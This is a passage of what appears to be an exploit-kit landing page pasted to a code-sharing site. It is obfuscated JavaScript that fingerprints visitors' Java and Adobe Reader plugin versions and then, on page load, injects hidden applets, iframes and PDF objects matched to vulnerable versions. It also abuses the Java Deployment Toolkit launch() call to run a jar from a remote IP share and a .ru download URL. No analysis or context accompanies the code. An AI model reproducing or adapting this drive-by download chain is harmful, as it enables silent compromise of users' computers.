  1029. u = "A.class";
  1030. if (!d.isString(e) || !(/\.jar\s*$/).test(e) || (/\\/).test(e)) {
  1031. return [null, null]
  1032. }
  1033. if (n.OTF < 1) {
  1034. n.OTF = 1
  1035. }
  1036. if (n.jreDisabled()) {
  1037. return [null, null]
  1038. }
  1039. if (n.OTF < 2) {
  1040. n.OTF = 2
  1041. }
  1042. var c = e,
  1043. t = "",
  1044. m;
  1045. if ((/[\/]/).test(e)) {
  1046. m = e.split("/");
  1047. c = m[m.length - 1];
  1048. m[m.length - 1] = "";
  1049. t = m.join("/")
  1050. }
  1051. var j = ["archive", c, "code", u],
  1052. l = ["mayscript", "true"],
  1053. r = ["scriptable", "true"].concat(l),
  1054. f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0];
  1055. if (!q[0] && g.canUseObjectTag() && g.canTry(0)) {
  1056. q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n);
  1057. o[0] = [0, 0];
  1058. g.queryThis(0)
  1059. }
  1060. if (!q[1] && g.canUseAppletTag() && g.canTry(1)) {
  1061. q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n);
  1062. o[1] = [0, 0];
  1063. g.queryThis(1)
  1064. }
  1065. if (!q[2] && g.canUseObjectTag() && g.canTry(2)) {
  1066. q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML();
  1067. o[2] = [0, 0];
  1068. g.queryThis(2)
  1069. }
  1070. if (!g.DummyObjTagHTML && g.canUseObjectTag()) {
  1071. g.DummyObjTagHTML = d.insertHTML("object", [], [], h)
  1072. }
  1073. if (!g.DummySpanTagHTML) {
  1074. g.DummySpanTagHTML = d.insertHTML("", [], [], h)
  1075. };
  1076. var k, a = 0;
  1077. for (k = 0; k < o.length; k++) {
  1078. if (q[k] || g.canTry(k)) {
  1079. a++
  1080. } else {
  1081. break
  1082. }
  1083. }
  1084. if (a == o.length) {
  1085. n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1
  1086. }
  1087. return g.getResult()
  1088. }
  1089. },
  1090. append: function (e, d) {
  1091. for (var c = 0; c < d.length; c++) {
  1092. e.push(d[c])
  1093. }
  1094. },
  1095. JavaFix: function () {}
  1096. },
  1097. adobereader: {
  1098. mimeType: "application/pdf",
  1099. navPluginObj: null,
  1100. progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1101. classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1102. INSTALLED: {},
  1103. pluginHasMimeType: function (d, c, f) {
  1104. var b = this,
  1105. e = b.$,
  1106. a;
  1107. for (a in d) {
  1108. if (d[a] && d[a].type && d[a].type == c) {
  1109. return 1
  1110. }
  1111. }
  1112. if (e.getMimeEnabledPlugin(c, f)) {
  1113. return 1
  1114. }
  1115. return 0
  1116. },
  1117. getVersion: function (i, j) {
  1118. var f = this,
  1119. c = f.$,
  1120. h, d, k, m = p = null,
  1121. g = null,
  1122. l = null,
  1123. a, b;
  1124. j = (c.isString(j) && j.length) ? j.replace(/\s/, "").toLowerCase() : f.mimeType;
  1125. if (c.isDefined(f.INSTALLED[j])) {
  1126. f.installed = f.INSTALLED[j];
  1127. return
  1128. }
  1129. if (!c.isIE) {
  1130. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1131. if (f.getVersionDone !== 0) {
  1132. f.getVersionDone = 0;
  1133. p = c.getMimeEnabledPlugin(f.mimeType, a);
  1134. if (!p && c.hasMimeType(f.mimeType)) {
  1135. p = c.findNavPlugin(a, 0)
  1136. }
  1137. if (p) {
  1138. f.navPluginObj = p;
  1139. g = c.getNum(p.description) || c.getNum(p.name);
  1140. g = c.getPluginFileVersion(p, g);
  1141. if (!g && c.OS == 1) {
  1142. if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) {
  1143. g = "9"
  1144. } else {
  1145. if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) {
  1146. g = "8"
  1147. }
  1148. }
  1149. }
  1150. }
  1151. } else {
  1152. g = f.version
  1153. }
  1154. m = c.getMimeEnabledPlugin(j, a);
  1155. f.installed = m && g ? 1 : (m ? 0 : (f.navPluginObj ? -0.2 : -1))
  1156. } else {
  1157. p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
  1158. b = /=\s*([\d\.]+)/g;
  1159. try {
  1160. d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
  1161. for (k = 0; k < 5; k++) {
  1162. if (b.test(d) && (!g || RegExp.$1 > g)) {
  1163. g = RegExp.$1
  1164. }
  1165. }
  1166. } catch (h) {}
  1167. f.installed = g ? 1 : (p ? 0 : -1)
  1168. }
  1169. if (!f.version) {
  1170. f.version = c.formatNum(g)
  1171. }
  1172. f.INSTALLED[j] = f.installed
  1173. }
  1174. },
  1175. zz: 0
  1176. };
  1177. PluginDetect.initScript();
  1178. PluginDetect.getVersion(".");
  1179. jver = PluginDetect.getVersion("Java", javafile);
  1180. pdfver = PluginDetect.getVersion("AdobeReader");
  1181. } catch (e) {}
  1182. if (typeof jver == 'string') {
  1183. jver = jver.split('.')
  1184. } else {
  1185. jver = [0, 0, 0, 0]
  1186. }
  1187. if (typeof pdfver == 'string') {
  1188. pdfver = pdfver.split('.')
  1189. } else {
  1190. pdfver = [0, 0, 0, 0]
  1191. }
  1192. function spl0() {
  1193. if ((jver[1] == 5 && jver[3] <= 23) || (jver[1] == 6 && jver[3] <= 18)) {
  1194. document.write("<applet code='FactoryService.DefClass.class' archive='./games/worms.jar' width='1' height='1'><param name='p' value='e00oMDDK3BY2V%kD2Voeoju8gb#6h8i'/></applet>");
  1195. }
  1196. spl1()
  1197. }
  1198. function spl1() {
  1199. if (jver[1] == 6 && jver[3] <= 23) {
  1200. var trifr = document.createElement('IFRAME');
  1201. trifr.setAttribute('width', 1);
  1202. trifr.setAttribute('height', 1);
  1203. trifr.setAttribute('src', './games/java_trust.php?f=243');
  1204. document.body.appendChild(trifr)
  1205. }
  1206. spl2()
  1207. }
  1208. function spl2() {
  1209. if (jver[1] == 6 && jver[3] >= 10 && jver[3] <= 19) {
  1210. for (var i = 0; i < navigator.mimeTypes.length; i++) {
  1211. var smbp = navigator.mimeTypes[i].type;
  1212. if (smbp == "application/java-deployment-toolkit" || smbp == "application/npruntime-scriptable-plugin;deploymenttoolkit") {
  1213. try {
  1214. var bs = document.createElement("OBJECT");
  1215. bs.setAttribute("type", smbp);
  1216. bs.setAttribute("width", 0);
  1217. bs.setAttribute("height", 0);
  1218. document.body.appendChild(bs);
  1219. bs.launch("http: -J-jar -J\\\\85.15.231.110\\pub\\new.avi http://j1w9d.ru/d.php?f=243&e=2 none")
  1220. } catch (e) {}
  1221. }
  1222. }
  1223. }
  1224. spl3()
  1225. }
  1226. function spl3() {
  1227. spl4()
  1228. }
  1229. function spl4() {
  1230. spl5()
  1231. }
  1232. function show_pdf(src) {
  1233. var p = document.createElement('object');
  1234. p.setAttribute('type', 'application/pdf');
  1235. p.setAttribute('data', src);
  1236. p.setAttribute('width', 1);
  1237. p.setAttribute('height', 1);
  1238. document.body.appendChild(p)
  1239. }
  1240. function spl5() {
  1241. if (pdfver[0] > 0 && pdfver[0] < 8) {
  1242. show_pdf('./games/1fdp.php?f=243')
  1243. } else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
  1244. show_pdf('./games/2fdp.php?f=243')
  1245. }
  1246. spl6()
  1247. }
  1248. function spl6() {
  1249. try {
  1250. for (var i = 0, m; i < navigator.plugins.length; i++) {
  1251. var name = navigator.plugins[i].name;
  1252. if (name.indexOf('Media Player') != -1) {
  1253. m = document.createElement('IFRAME');
  1254. m.setAttribute('src', './games/pch.php?f=243');
  1255. m.setAttribute('width', 0);
  1256. m.setAttribute('height', 0);
  1257. document.body.appendChild(m)
  1258. }
  1259. }
  1260. } catch (e) {}
  1261. setTimeout(end_redirect, 6000)
  1262. }
  1263. spl0()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement